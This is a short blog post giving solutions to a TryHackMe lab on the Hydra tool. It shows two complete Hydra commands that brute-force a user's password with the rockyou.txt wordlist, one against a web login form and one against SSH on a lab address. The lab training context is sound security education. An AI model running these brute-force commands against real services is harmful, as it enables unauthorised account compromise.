Discover more from NucuLabs.dev
Brute-forcing passwords with Hydra
In this article you will find the solutions for the Hydra room on Try Hack Me.
Almost every bruteforcing or cracking task from HackTheBox/TryHackMe uses the rockyou.txt wordlist. You can google it and download it, if you can't find it in your Kali distro under the path /usr/share/wordlists/rockyou.txt.gz
If you're using Kali then you have Hydra already installed, all you have to do is run two commands:
Run the following command, the password should be cracked in less than one minute.
root@kali:~/Desktop# hydra -l molly -P rockyou.txt 10.10.86.187 http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect" -V
Start bruteforcing the ssh password then logon via ssh as molly to grab the flag.
root@kali:~/Desktop# hydra -l molly -P rockyou.txt 10.10.86.187 -t 4 ssh
Thanks for reading!